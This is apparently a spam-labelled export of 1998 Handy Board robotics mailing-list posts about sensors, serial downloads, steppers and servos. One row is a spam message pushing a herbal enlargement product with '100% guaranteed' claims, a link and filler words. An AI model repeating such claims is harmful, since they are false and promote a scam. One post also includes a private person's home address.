'~~'~~~~'~\\ | | #10K | | ,---0 3|+ \\6__0 | |R1 | | | | 10K | IC 3130 / | | | | ,---0 | 0-----####--0---|- / | | | |C | | | |/ | 2|/~~~~~~~~~~ | | | B|/ | |/ C '-| T3 | | | '--| T1 '-| B |\\ | 10M | | |\\ B|\\ T2 |E '------####----------' | |E |E | | BC639 | BC549C| BC549C| | | | | 0V | 0--------0-------0----------------------------------0- M is a 50 mA meter (collector of T1). Opamp supply connections not shown. T1 and T2 are maintained in good thermal contact by glueing them together using a heat conductive adhesive. This pair is used as the probe to check wind speed/air leaks. T2 is maintained at a constant temperature by the opamp and T1. When wind/leak is present, the pair is cooled - more current has to flow through T1 to maintain the temp. This current is indicated by the meter. T3 acts as a reference diode. The description says - A high sensitivity is obtained by making the temp. of T2 about 5 degrees higher than its surroundings. This is achieved by presetting the meter to give an offset of about 5 mA when there is no wind blowing. BC 639 can be replaced by a BC 547 type. R1 is selected so that the current through T1 is not excessive. Hope this helps. Dilip Sathe Dilip wrote: > > Elektor had published a similar circuit for detecting air leaks. The SNIP > Dilip > > Jonathan Swaby wrote: > > > > Does anyone know of a cheap way to construct an air flow sensor? I was SNIP ",0,0 ccacc01 ,handyboard@media.mit.edu,"Mon, 22 Jun 1998 10:44:40 -0400",Mailing List,"Hi, I'd like to get on your mailing list. I don't have an E-Mail address as of yet so here's my home address. R. Gomez 343 Honan Ave. Johnstown, PA 15906 I'd appreciate any tech. info. you have. Thanks, Raf ",0,0 Graeme Dunbar ,"Sathe Dilip , owner-robot-board@cmf.nrl.navy.mil, handyboard@media.mit.edu","Mon, 22 Jun 1998 16:12:55 +0000",Re: Cheap air flow sensor,"On 22 Jun 98 at 10:39, Sathe Dilip wrote: > Finally I managed to put the schematic of Wind-O-meter described in > the Elektor publication in ASCII. Pl. set your reader font to > something like courier to view it properly. I have taken some > liberty with the opamp symbol to accomodate some component > connections. (circuit and description deleted) Neat idea! It reminds me of a simple variometer (rate of climb/sink) circuit in an old RC glider magazine. It used two small naked bead or glass encapsulated thermistors in a bridge circuit and the thermistors were in a tube connected to a bottle. As the air pressure changed and air flowed in or out, the ""up wind"" one cooled more than the ""down wind"" one in its wind shadow and any ""common mode"" temperature changes cancelled. Again the current was set to give the appropriate self heating. Very similar to what you describe. Regards, Graeme ------------------------------------------------------------ Graeme Dunbar School of Electronic and Electrical Engineering The Robert Gordon University Schoolhill, Aberdeen AB10 1FR, Scotland, U.K. Tel. +44 1224 262415 Fax +44 1224 262444 email g.r.a.dunbar@rgu.ac.uk ------------------------------------------------------------ ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Mon, 22 Jun 1998 09:01:46 -0700",Re: Cheap air flow sensor (Sathe Dilip),"At 10:39 AM 6/22/98 -0400, you wrote: >Finally I managed to put the schematic of Wind-O-meter described in the >Elektor publication in ASCII. Nice ASCII art! I'm impressed. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Jim Fong ,"Sathe Dilip , handyboard , Robot Board , The Plumber ","Mon, 22 Jun 1998 09:24:09 -0700",Re: Cheap air flow sensor,"Electronic Design ""Ideas for Design"" section had a interesting circuit for a Low-Power Thermal Airspeed Sensor in the May 25, 1998 issue. It's more complicated than the Elektor design but the ariticle helps explain thermal anemometry with the King's Law equation. If you don't subcribe to ED, the article is on the web at http://www.penton.com/ed/Pages/magpages/may2598/ifd/0525ifd.htm ",0,1 John Macdonald ,handyboard ,"Mon, 22 Jun 1998 23:24:16 -0400",can't download to save my life,"Please help!! I can't get the pcode_hb.s19 file into the handyboard to save my life. Upon looking through the archives, I've noticed some traffic that looks like it directly relates to my problem. However, I couldn't find a definitive solution. So if anyone who has had this problem could please tell me how they were able to solve it, I would be forever in debt. I'm under the gun. Here is the synopsis: 1. P5-133MHz laptop machine with windows 95 2. verified functionality of serial port 3. tried hbdl.exe and get either a ""wrong port of board mode"" 4. tried dlm pcode_hb.s19 -256 in full-screen and get the following: ----------------------------------------------------------- DLM: 6811 File Downloader with Intelligent EEPROM burn by Fred Martin portions (C) 1992 by Randy Sargent Version 2.4 Jun 8 1995 05:47:06 Downloading pcode_hb.s19, press ESC to abort Downloading eeprom loader to RAM at 1200 baud... ................................ ................................ ................................ ................................ ................................ ................................ ................................ .............___________________ 256 total bytes (boot loader done) Synchronizing with board...OK Sending pcode_hb.s19 at 9600 baud Board memory error: wanted 00, got 3e at address 8000 Board synchronization error. ----------------------------------------------------------- (and sometimes it gets much further into the download of the pcode_hb.s19, but the result is the same). 5. the board does the following: a. powers into bootstrap mode ok b. power light flashes during bootload at 1200 baud c. power light stays on continuously upon failure. 6. i'm quite sure its not ""bad"" hardware because i have 2 complete systems (handyboards, i/f boards, and all cables). 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No polarity is shown.... -- Justin Kao,0,0 """Fred G. Martin"" ",HVillalva@aol.com,"Tue, 23 Jun 1998 08:12:49 -0400",Re: inexpensive encoders ,"Digikey has clarostat optical encoders, in the $30 to $40 range... fred In your message you said: > Does anybody Knows where to get some inexpensive quadrature encoders > optical encoders with A and B outputs??? > thank you > ",0,0 """Fred G. Martin"" ",jnmacdonald@lucent.com,"Tue, 23 Jun 1998 08:22:40 -0400",Re: can't download to save my life ," it sounds like it's *almost* working. 1. did you try DL, not DLM, in full screen dos mode? 2. try both of these as a DOS program. 3. did you try adjusting your serial port parameters in the windows control panel, a la the FAQ? fred ",0,0 Deandre Blount ,handyboard@media.mit.edu,"Tue, 23 Jun 1998 22:44:28 -0500",Re: Change,"-Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! Clisk here: http://scottpetersonsdiary.info beet jorgenson leucine consolation a tableland weatherproof deniable hubbub chablis eccentric springfield episcopate matchmake amphibian caloric coyote eisner piquant sweatband impoverish increasable guide potts whereon amethystine wherefore heath philadelphia catchword cafeteria parenthood concocter horus emplace acclaim bade lorraine elution continuity irresponsible monaco chiffon daddy quark cryptanalysis marjory corrigible attic conformal bagpipe eyewitness moslem silken ",1,1 David Kott ,HVillalva@aol.com,"Tue, 23 Jun 1998 19:16:04 -0400",re: encoders,"On Mon, 22 Jun 1998 HVillalva@aol.com wrote: > where I can find some inexpensive encoders with a quadrature output? > preferable optical encoders > thanks > > http://www.usdigital.com around 50 US$ -d The box said ""Requires Windows 95/NT or better""... So I got Unix. Free the Source. Free your Computer... http://www.FreeBSD.org http://www.NetBSD.org http://www.OpenBSD.org ",0,1 John Macdonald ,Handyboard ,"Wed, 24 Jun 1998 08:04:13 -0400",finally got the download working,"Thanks, Thanks to your suggestions, I was finally able to get the bootloader downloaded to my 2 handyboards. What I ended up having to do was use the DL.EXE program in full-screen mode. I've had no trouble using the Windows95 version of IC (v3.1) to get my code into the board since. The thing that bothers me is I have no idea why I had to use DL in full-screen to make the download work. Even using this approach, one of my boards was still very ""squirrelly"" and I had to play around with it to make it happen. I can attribute the squirelliness of the one board to potential hardware trouble, but I'm still confused as to the differences between HBDL, DLM, and DL. Is it possible to get a hold of the source code for these apps? Thanks, John Macdonald Lucent Technologies Penn State University ",0,0 John Hatton ,"'MAR ERICSON' , 'Handyboard Mailing List' ","Wed, 24 Jun 1998 13:52:36 +0100",RE: Walking robot,"I didn't see the robot on the website I saw it in their catalog that they included with the Stampbug that I bought. Try contacting them, they may send you a catalog. John Hatton >---------- >From: MAR ERICSON[SMTP:mar@cooper.edu] >Sent: 23 June 1998 23:30 >To: John Hatton >Subject: RE: Walking robot and change of email > >Where do you see a two legged robot? I couldn't find it. > >----------- >ericson mar >Master of Engineering Candidate >Project: Mobile Robotics >mar@cooper.edu >(212)353-4356 > >Department of Mechanical Engineering >The Cooper Union for the Advancement of Science and Art >------------------------------------------------------- > >On Wed, 17 Jun 1998, John Hatton wrote: > >> I've recently bought a Stampbug (6 legged walker) from Milford >> Instruments >> ( http://www.milinst.demon.co.uk/ ) in the UK and they have a simple 2 >> legged robot in their catalog. >> >> I hope this is of help. >> >> John Hatton >> >> >---------- >> >From: EVA-01[SMTP:siming@singnet.com.sg] >> >Sent: 17 June 1998 15:05 >> >To: handyboard@media.mit.edu >> >Subject: Walking robot and change of email >> > >> >Hi, I wonder if this is a little off topic, but since I got a Handyboard >> >I would like to use it in a walking robot application. Does anyone have >> >any experience in making 2-legged robots? Hmm.... >> > >> > >> > > ",0,1 Mike Davis ,handyboard@media.mit.edu,"Wed, 24 Jun 1998 09:09:01 -0700",Sharp IR Demodulator,"Anyone know where to get the one for the HB. I cannot find it anywhere. I would like to find a place that actually has them. Thanks -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- ",0,0 Bill James ,handyboard@media.mit.edu,"Wed, 24 Jun 1998 11:54:56 -0700",IR emitter,"Is the ir emitter on the handyboard just a standard red led? Is it efficient at emitting in the IR range. Are there better emitters? I want to build an emitter and detector set and have studied the multiplexing circuit posted. It uses the same LED. The circuit doesn't give a part number for the Sharp detector. Does some one know what it is, what are some of the other detectors that can be used. Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.598.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ",0,0 Justin Kao ,Handyboard List ,"Wed, 24 Jun 1998 12:09:25 -0700",Re: finally got the download working,"I have also had problems and mishaps with the various downloaders... Sometimes DL will work in a full-screen DOS box, other times it doesn't. HBDL seems to work now, whereas it hadn't previously. I have no clue what is causing these to work or not work... -- Justin Kao",0,0 Sebastien Verreault ,handy board ,"Wed, 24 Jun 1998 17:20:00 -0400",Futaba receiver,"Hi! I am now modifying my old r/c truck to control it with the handyboard, but I want a circuit that will enable the receiver to control the servos when there is an output received from the radio control and to enable the handyboard to control when not output is detected from the receiver. I will then be able to control the r/c truck in case my programs are not well tune... I do have an idea how to do so, but I am wondering where can I trigger in the receiver to know if there is a reception of a command or not to enable/desable? If any of you have a plan of a futaba receiver, please contact me. Thanks! Sebastien Verreault ",0,0 MAR ERICSON ,Bill James ,"Wed, 24 Jun 1998 18:34:47 -0400",Re: IR emitter,"I believe you have the IR output indicator confused with the emmitter driver. The red LED indicates that IR output is being transmitted. (That is...if you have an external IR LED attached to the HB.) There is a header for it. You can get a detector from Radio Shack. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Wed, 24 Jun 1998, Bill James wrote: > Is the ir emitter on the handyboard just a standard red led? Is it efficient at > emitting in the IR range. Are there better emitters? I want to build an emitter > and detector set and have studied the multiplexing circuit posted. It uses the > same LED. The circuit doesn't give a part number for the Sharp detector. Does > some one know what it is, what are some of the other detectors that can be > used. > > Bill James | work: 972.480.2306 > Product Test Specialist | Pager: 972.598.6201 > w-james2@ti.com > Precision Analog & Interface Department > > Polymath in Training | Have Spacesuit will Travel > ",0,0 Alf Kuchenbuch ,handyboard@media.mit.edu,"Thu, 25 Jun 1998 04:18:02 +0200",trouble with sony-ir,"Hi! What do I do wrong? I cannot run sony-ir.icb because if I try to do so, IC crashes immediately and I get the message: Fatal internal error, illegal line in s19 file. I use IC 2.85 (June 94) and the smooth PWM-routines and I made sure I use the right pcode_hb.s19 files and r22_ir.lis is not loaded. It doesn't work on either of my two handyboards which both run fine otherwise. Any help very much appreciated! Alf H. Kuchenbuch ",0,0 EVA-01 ,Mike Davis ,"Thu, 25 Jun 1998 11:03:18 +0800",Re: Sharp IR Demodulator," Mike Davis wrote: > Anyone know where to get the one for the HB. I cannot find it anywhere. I > would like to find a place that actually has them. > > Thanks > -- You can try also the Kodenshi PIC12043. It is probably easier to find and is 100% pin and function compatible with the Sharp demodulator. I bought mine from Farnell Components.. ",0,0 brian-c@technologist.com,handyboard@media.mit.edu,"Thu, 25 Jun 1998 00:55:46 -0400",pcode_hb.s19,"I am currently using the version of pcode which allows the no LCD feature. (using this with the freeware IC) I want to use the smooth PWM files but there is a pcode which goes with it. Does it allow the LCD to be removed? Is there anyway to use both the no LCD feature and the smooth PWM without having to write my own pcode? (which i wouldn't know how to.) Thanks, _________________________________________________ ������������������������������������������������� Brian Carvalho [ brian-c@ieee.org ] DeVRY Institute New Jersey _________________________________________________ ������������������������������������������������� --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Ilya ,handyboard@media.mit.edu,"Wed, 24 Jun 1998 23:56:46 -0500",serial port," I am trying to transfer large amount of data to a computer from the Handy Board as it collects that data from the sensors connected to it. I have a choice of either a windows or a unix machine. I was wondering if anyone has used the Handy Board for that and if so what is the optimal way to run the transfer. My goal is to save that data in a file for later use. Thanx in advance Ilya ",0,0 brian-c@technologist.com,handyboard@media.mit.edu,"Thu, 25 Jun 1998 01:03:36 -0400",stepper motors,"A while back a few people pointed me to an text about using stepper motors with the handy board. http://www.cctc.demon.co.uk/stepper.htm To the people who have told me about this, or have used this method to control steppers: please tell me how well you have gotten your motors working. I have tried the sample code and my motors are a little sketchy. When they first power up, they jerk left or right a little, causing my robot to align incorrectly. Also on the turns they sometimes jerk a little causing my turns to be thrown off. ...all stepper people *HELP ME* ! Thanks in advance, _________________________________________________ ������������������������������������������������� Brian Carvalho [ brian-c@ieee.org ] DeVRY Institute New Jersey _________________________________________________ ������������������������������������������������� --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Fred Martin ,"alf.kuchenbuch@usa.net, handyboard@media.mit.edu","Wed, 24 Jun 1998 23:18:01 -0700",Re: trouble with sony-ir,">Hi! >What do I do wrong? >I cannot run sony-ir.icb because if I try to do so, IC crashes >immediately and I get the message: Fatal internal error, illegal line in >s19 file. please see the FAQ on ""IC won't load my ICB files."" Fred ",0,0 GJZ@aol.com,handyboard@media.mit.edu,"Thu, 25 Jun 1998 03:04:50 -0400",assembler technicality,"from an interrupt code, is it possible to 'JMP' or 'JSR' to a subroutine(function) written in C code? what i am trying to do is the following: in the TOC4INT interrupt routine, be able to call in a C function. i know that functions are called subroutines in assembler, but i tried the following instruction in the interrupt code, and i could not get very far: ""JSR subroutine_function"" where ""function"" was the name of the function that i wanted to call. is there any way that i may do this, and if so, how do i ""# INCLUDE"" the code that holds the C function that i am trying to call? i never actually got far, the assemler (as11_ic) did not allow me to compile the .asm code for reason that it could not find the source of C code that was in the '# INCLUDE' statement, however, the path was specified correctly. there must be a way to do this. thanks in advance. Justin D. Gullotta.. , Engineer, Rensselaer Polytechnic Institute. ",0,0 """Michael S. Reiling"" ",handyboard@media.mit.edu,"Thu, 25 Jun 1998 00:11:43 -0700",Serial,"How many serial connections can I have on the handy at one. I know I can use the RJ11 connector as well as the other serial library to use a I/O, but can I modify the serial library for 3 serial connections? Mike ---------------------------------------------------------------- Mike Reiling macman@inreach.com University of the Pacific Student of Computer Science One tequila, two tequila, three tequila, floor. ---------------------------------------------------------------- ",0,0 richardm@chess.nl,handyboard@media.mit.edu,"Thu, 25 Jun 1998 09:35:34 +0200",connecting flash to 68hc11F1,"Hello all, I'm using th e68hc11F1 micro and want to connect an AM29f010 flash to it. I'm configured in a way that i first have 32 K ram and the 32K flash. I'm not sure how to connect the ~OE (low aactive) ~CE and ~WE. to any of the rw chip select lines of the 68hc11. I'm running on 16 Mhz. I'v tried some things but i don't seem to get it running. The ram works fine, but when trying to program the flash it doesn't work. Has anybody done this before or have some schematics. Thanks Richard Software engineer. ",0,0 Germán Gentile ,"Ilya , handyboard@media.mit.edu","Thu, 25 Jun 1998 09:30:02 -0300",RE: serial port,"I use the handyboard in the same way, and i need to say you, if you use dos can get more avaibility for the serial port, what under a seudo multitasking enviroment like windows 95. Otherwise, i use windows 95 because i need the GUI interface to sell my product to my customers!!! Hard election , really? If you want better response , also can changes the crystal in the handyboard for other fecuency (i don't remember if 7.xxxx or 9.xxxxx, ask Fred) and get 19.200 or better serial port bauds per second. Hope that help. Germán Gentile Genesys - Ingeniería en Sistemas Sarmiento 4442 3º 17. 1197. Capital Federal. Argentina > -----Original Message----- > From: Ilya [mailto:ilya@flight.uchicago.edu] > Sent: Jueves 25 de Junio de 1998 01:57 > To: handyboard@media.mit.edu > Subject: serial port > > > > > I am trying to transfer large amount of data to a computer from the Handy > Board as it collects that data from the sensors connected to it. I have a > choice of either a windows or a unix machine. I was wondering if anyone > has used the Handy Board for that and if so what is the optimal way to > run the transfer. My goal is to save that data in a file for later use. > > Thanx in advance > > > Ilya > > ",0,0 Germán Gentile ,"""Michael S. Reiling"" , handyboard@media.mit.edu","Thu, 25 Jun 1998 09:31:03 -0300",RE: Serial,"I'm really want to ear the answer.... :) > -----Original Message----- > From: Michael S. Reiling [mailto:macman@inreach.com] > Sent: Jueves 25 de Junio de 1998 04:12 > To: handyboard@media.mit.edu > Subject: Serial > > > How many serial connections can I have on the handy at one. I know I can > use the RJ11 connector as well as the other serial library to use a I/O, > but can I modify the serial library for 3 serial connections? > > Mike > > ---------------------------------------------------------------- > Mike Reiling > macman@inreach.com > University of the Pacific > Student of Computer Science > > One tequila, two tequila, three tequila, floor. > ---------------------------------------------------------------- > > ",0,0 jand@chess.nl,handyboard@media.mit.edu,"Thu, 25 Jun 1998 14:26:47 +0200",pyroelectric_sensor,"Hello, despite the fact of not using a handyboard, I do like to make small robot-like projects. Instead of a Handyboard I use other microcontrollers, but that makes no difference for my question. I am curious about the use of pyroelectricsensors, how do the current systems work, what are the possibillities and what is the range of detecting an heatsource of let's say a candle. My questions is simple, who has schematics for pyroelectric sensors or who knows how to connect them. The type of sensor is not important as long as the final output can give me an analog signal, which is proportinal to the heatsource detected (or distance, if the source is always the same). Please do not hassitate to reply because even the smallest suggestion could give me a lead or clue to solve the problem. Do not be afraid that your sollution is to complex, and that i do not understand, because I 'm an Electronic engineer and always prepared to invest time to crack the case. Thanks for your reply, J. Derogee ",0,0 Linnar ,handyboard@media.mit.edu,"Thu, 25 Jun 1998 21:10:03 -0000",Where?," Can i know where to download Freeware IC ......as i need to get started with my mobile robots....in using the 68HC11.? May i know normally how do u all guys do simulation of the robot's movement? Thanks ! Regards, Linnar ",0,0 Ilya ,handyboard@media.mit.edu,"Thu, 25 Jun 1998 09:33:07 -0500",serial transfer," I was wondering if anyone knew of any software written for DOS/WIN that would save data as it is being sent to the serial port of the computer. Ilya ",0,0 Luc Bodson ,handyboard ,"Thu, 25 Jun 1998 17:32:37 +0100",New Board problems with download,"Hi, I just received my Handyboard and i'm trying (hard) to get it working. Tried to download the pcode_h.s19 using both the windows downloader and the dosload 'dl.exe' windows one works OK, the dos one works OK but in full dos mode without the windows. When i reset the board by switching of/on nothing happens, and the display just lights barely the top row of the lcd with full matrix.( no data) When I run the IC program it say's cant connect to the board. All help is appreciated. Would like to get started this WK-end (I hope :-)) thks Luc Bodson Cyber Optics Belgium ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Thu, 25 Jun 1998 08:49:08 -0700",Re: finally got the download working,"At 08:04 AM 6/24/98 -0400, you wrote: >Thanks, > >Thanks to your suggestions, I was finally able to get the bootloader >downloaded to my 2 handyboards. I have had the same sort of problems; my guess is that the 68HC11 itself sometimes needs to be ""slapped around"" initially to properly initialize, and DL, full screen, seems to do it best. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023",0,0 MAR ERICSON ,Jan Derogee ,"Thu, 25 Jun 1998 12:29:01 -0400",Re: pyroelectric_sensor,"If I'm not confused, I remeber seeing an article on pyroelectric sensors in the new magazine ""Robot Science & Technology"" (Someone please verify). It is still only up to it's premier issue so you can probably still request it. http://www.robotmag.com/index.html Even if the article I remember is not in this issue, it would be great to look into this magazine anyway. The magazine is targeted to ""educational and hobby"" robotics...people like us. Maybe it would suit you. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Thu, 25 Jun 1998, Jan Derogee wrote: > Hello, > despite the fact of not using a handyboard, I do like to make small robot-like > projects. Instead of a Handyboard I use other microcontrollers, but that makes > no difference for my question. I am curious about the use of pyroelectricsensors, > how do the current systems work, what are the possibillities and what is > the range of detecting an heatsource of let's say a candle. > > My questions is simple, who has schematics for pyroelectric sensors or who > knows how to connect them. The type of sensor is not important as long as > the final output can give me an analog signal, which is proportinal to the > heatsource detected (or distance, if the source is always the same). > Please do not hassitate to reply because even the smallest suggestion could > give me a lead or clue to solve the problem. Do not be afraid that your > sollution is to complex, and that i do not understand, because I 'm an > Electronic engineer and always prepared to invest time to crack the case. > > Thanks for your reply, J. Derogee > ",0,1 Mike Davis ,Brett Anthony ,"Thu, 25 Jun 1998 09:33:54 -0700",Re: finally got the download working,"From: Brett Anthony > I have had the same sort of problems; my guess is that the 68HC11 itself > sometimes needs to be ""slapped around"" initially to properly initialize, and > DL, full screen, seems to do it best. ""slapped around"", is that a term they teach at School of Engineering and Computer Science:-) I doubt if the problem is with the 68HC11. H/W and S/W usually work consistantly, as designed. Working with Windows/DOS apps are a different story. I use HBDL and it works every time on my PC. > > > > Brett Anthony > Research Technician > School of Engineering and Computer Science > California State University, Sacramento -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 GJZ@aol.com,"cyberoptics@pandora.be, handyboard@media.mit.edu","Thu, 25 Jun 1998 12:59:25 -0400",Re: New Board problems with download,"Luc, it sounds like its not downloading at all. make sure the port you are using is not disconnected internally, such as when you are trying to use com2 and the internal modem is configured to use com2, usually com2 port is disconnected for external use. it sounds like the problem i was having, and this is what was wrong. i ended up having to use com1 which is used by the mouse, and having to keep disconnecting the mouse when i wanted to download and reconnecting it when i want to use the mouse. a hassle, but the only way that i can get mine to work without download problems. dont forget to configure ""dl.exe"" and ""ic.exe"" to use com1. in this case however, since com1 is configured to run with the mouse, you have to ""restart the computer in MS- DOS mode"" in the shutdown menu. this is the dos that you must use. when you want to go back to windows, type ""exit"" and wait a minute. a good text editor is found by typing ""edit"" at the prompt, so once you get to programming, you will not have to go to windows for a text editor. you will know if it is downloading for sure if the green light on the HB blinks very fast, and almost looks like it is ON. if this is not happening, then you are not downloading, no matter what the program says. let me know how it turns out. Justin D. Gullotta.. , Engineer, Rensselaer Polytechnic Institute. ",0,0 Peter Harrison ,brian-c@technologist.com,"Thu, 25 Jun 1998 18:09:08 +0100",Re: stepper motors,"brian-c@technologist.com wrote: > > A while back a few people pointed me to an text about using stepper > motors with the handy board. > http://www.cctc.demon.co.uk/stepper.htm > > To the people who have told me about this, or have used this method to > control steppers: please tell me how well you have gotten your motors > working. I have tried the sample code and my motors are a little > sketchy. When they first power up, they jerk left or right a little, > causing my robot to align incorrectly. Also on the turns they > sometimes jerk a little causing my turns to be thrown off. > > ...all stepper people *HELP ME* ! Its my code and you are quite right - it is not the best in the world. It was only intended to illustrate a point and I have done no more work on it since then - sorry. When first powered up the steppers will align themselves according to the pattern sent to them so there will almost certainly be a little shuffling around as they take up their detent positions. Half stepping the motors will probably reduce the effect. If initial alignment is a particular problem for you - as it might be in a competition say - then you might like to power up the motors, position the robot then power them down. As for turns, I don't really know the answer. Bear in mind though that the timing of motor pulses is important for reliable operation of the steppers, especially at high speeds. If you want to drive the steppers faster you will probably need to hook into the system interrupt (I don't know how) and ensure that the motor signals are sent at well defined intervals. I would expect system interrupts to interfere with the timing in the sample code. Pete -- ===================================================== peter.harrison@cannock.ac.uk Cannock Chase Technical College ",0,1 Chad K Humberstone ,handyboard@media.mit.edu,"Thu, 25 Jun 1998 15:35:53 -0600",Servo w/ >180 travel?,"Do you know of any servos with 180 degree travel or more? 360 degrees of travel would be nice. Thanks Chad Humberstone EUCLID Mobile Robot Lab BYU ",0,0 Jim Fong ,"Chad K Humberstone , handyboard@media.mit.edu","Thu, 25 Jun 1998 15:39:20 -0700",Re: Servo w/ >180 travel?,"Assuming you mean R/C model servos, take a look at the Futaba servos for sail boat winches. Stock Number Description Torque Speed Weight Dimensions FUTM0099 S5801 Sail Winch 136.0 oz. .5/turn 2.9 oz. 1.81 x 0.98 x 1.73 in. Looking at the spec sheet for speed (taken from Futaba's web site) it says .5seconds per turn. You might want to call your local hobby store and verify what that actually means. I haven't seen or used one before. or take a look at this page I wrote up awhile back to modify a servo for 360 rotation http://www.hooked.net/~jfong/servo.html Jim EAS http://www.hooked.net/~jfong At 03:35 PM 6/25/98 -0600, Chad K Humberstone wrote: >Do you know of any servos with 180 degree travel or more? 360 degrees >of travel would be nice. >Thanks > >Chad Humberstone >EUCLID Mobile Robot Lab >BYU > > ",0,1 brian-c@technologist.com,handyboard@media.mit.edu,"Thu, 25 Jun 1998 19:52:49 -0400",Infrared Sensors,"A few weeks back I was a little dissapointed in the performance of the QT refective optosensors which come with the Handy Board because when using them on the digital inputs, their range was only 1/4 to 1/2 inch or less. Some people told me to use the Radio Shack type Infrared modules. This was something I really frowned upon because I needed 5 sets of sensors, so this would add up to alot of space. If anyone is interested in using sensors on the digital inputs here's a way to get a range of 3 to 3 1/2 inches, as opposed to 1/4 inch. ----- I constructed my own sensor/emitter pairs from the following two Digikey parts: L14N2QT-ND Infrared photo transistor LN66-ND Infrared LED The transistor is a 3 legged version so I removed the Base leg. Although if you keep it on, you can attach a potentiometer to it and vary the sensitivity of the sensor. (something I havent played with yet) *also please note the emitter and collector legs are swapped, the emitter is the leg with the tab on the outside of the can. The wiring is straight forward. I used the same approach shown in the Handy Board manual. The emitter was grounded, collector was wired to the signal input, and the LED was limited with a 330 ohm resistor. ---- Anything within 3 to 3 1/2 inches gives a true result (0), everything else give a false (1). The numbers are swapped but it works. :) Hope someone finds this useful. _________________________________________________ ������������������������������������������������� Brian Carvalho [ brian-c@ieee.org ] DeVRY Institute New Jersey _________________________________________________ ������������������������������������������������� --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Bernd Klein ,Luc Bodson ,"Fri, 26 Jun 1998 08:29:06 +0200",Re: New Board problems with download,"Hi Luc, yesterday i had the same problem with my notebook (W95). I can´t download to my hb during a session in a full dos-window. With the ""MSD.EXE"" Programm i found out, i haven´t any COM-Ports (?????). I must configure all COM-PORTS new. After this procedure it works fine. Bye Bernd Klein Luc Bodson schrieb: > Hi, > I just received my Handyboard and i'm trying (hard) to get it working.. > Tried to download the pcode_h.s19 using both the windows downloader and the > dosload 'dl.exe' windows one works OK, the dos one works OK but in full dos > mode without the windows. When i reset the board by switching of/on nothing > happens, and the display just lights barely the top row of the lcd with full > matrix.( no data) > When I run the IC program it say's cant connect to the board.. > > All help is appreciated.. > Would like to get started this WK-end (I hope :-)) > > thks > Luc Bodson > Cyber Optics > Belgium ",0,0 GJZ@aol.com,handyboard@media.mit.edu,"Fri, 26 Jun 1998 02:59:55 -0400",assembler question,"does anyone know if a piece of assembler code can call in C functions? i would imagine that it would be done using a ""JSR"" instruction. this message goes out especially to Fred Martin. thanks in advance. Justin D. Gullotta.. , Engineer, Rensselaer Polytechnic Institute. ",0,0 hans christian gilje ,handyboard@media.mit.edu,"Fri, 26 Jun 1998 08:15:53 +0000",midilb,"Hello, I was wondering if anybody has tried out Colby Leiders midilib for the handyboard? I have problems downloading it to the handyboard (syntax errors in some of the files according to the IC downloader). hc gilje piXel Hans Christian Gilje Nedre Møllenberggt 9 N-7014 Trondheim Norway http://kit.trdkunst.no/stud/hc mail: hcg@trdkunst.no ",0,1 Luc Bodson ,"GJZ@aol.com, handyboard@media.mit.edu","Fri, 26 Jun 1998 13:16:02 +0100",Re: New Board problems with download,"Hello, Thanks again for the help, but still i have problems getting the HB to talk to me. The com ports work, as the download led lights, and the boards does act different after a download. Could it be that the RAM is brooken and gives these erratic results ? Hope to get the thingy talking without returning it to the states. Luc Bodson Cyber Optics Belgium -----Oorspronkelijk bericht----- Van: GJZ@aol.com Aan: cyberoptics@pandora.be ; handyboard@media.mit.edu Datum: Thursday, June 25, 1998 6:02 PM Onderwerp: Re: New Board problems with download >Luc, > >it sounds like its not downloading at all. make sure the port you are using >is not disconnected internally, such as when you are trying to use com2 and >the internal modem is configured to use com2, usually com2 port is >disconnected for external use. it sounds like the problem i was having, and >this is what was wrong. i ended up having to use com1 which is used by the >mouse, and having to keep disconnecting the mouse when i wanted to download >and reconnecting it when i want to use the mouse. a hassle, but the only way >that i can get mine to work without download problems. dont forget to >configure ""dl.exe"" and ""ic.exe"" to use com1. in this case however, since com1 >is configured to run with the mouse, you have to ""restart the computer in MS- >DOS mode"" in the shutdown menu. this is the dos that you must use. when you >want to go back to windows, type ""exit"" and wait a minute. a good text editor >is found by typing ""edit"" at the prompt, so once you get to programming, you >will not have to go to windows for a text editor. you will know if it is >downloading for sure if the green light on the HB blinks very fast, and almost >looks like it is ON. if this is not happening, then you are not downloading, >no matter what the program says. let me know how it turns out. > >Justin D. Gullotta.. , Engineer, >Rensselaer Polytechnic Institute. >",0,0 Luc Bodson ,handyboard@media.mit.edu,"Fri, 26 Jun 1998 15:20:37 +0100",ICQ ,"If you all are interested in a chatgroup using ICQ, please let me know and i will create a chatchannel that is only for us people interested in the handyboard to be used. Thanks and please email me your comments : ICQ : 617203 Luc Bodson Cyber Optics Belgium ",0,0 """Fred G. Martin"" ",GJZ@aol.com,"Fri, 26 Jun 1998 10:06:27 -0400",Re: assembler question ,"In your message you said: > does anyone know if a piece of assembler code can call in C functions? i > would imagine that it would be done using a ""JSR"" instruction. this message > goes out especially to Fred Martin. > thanks in advance. interactive C does not support this capability. 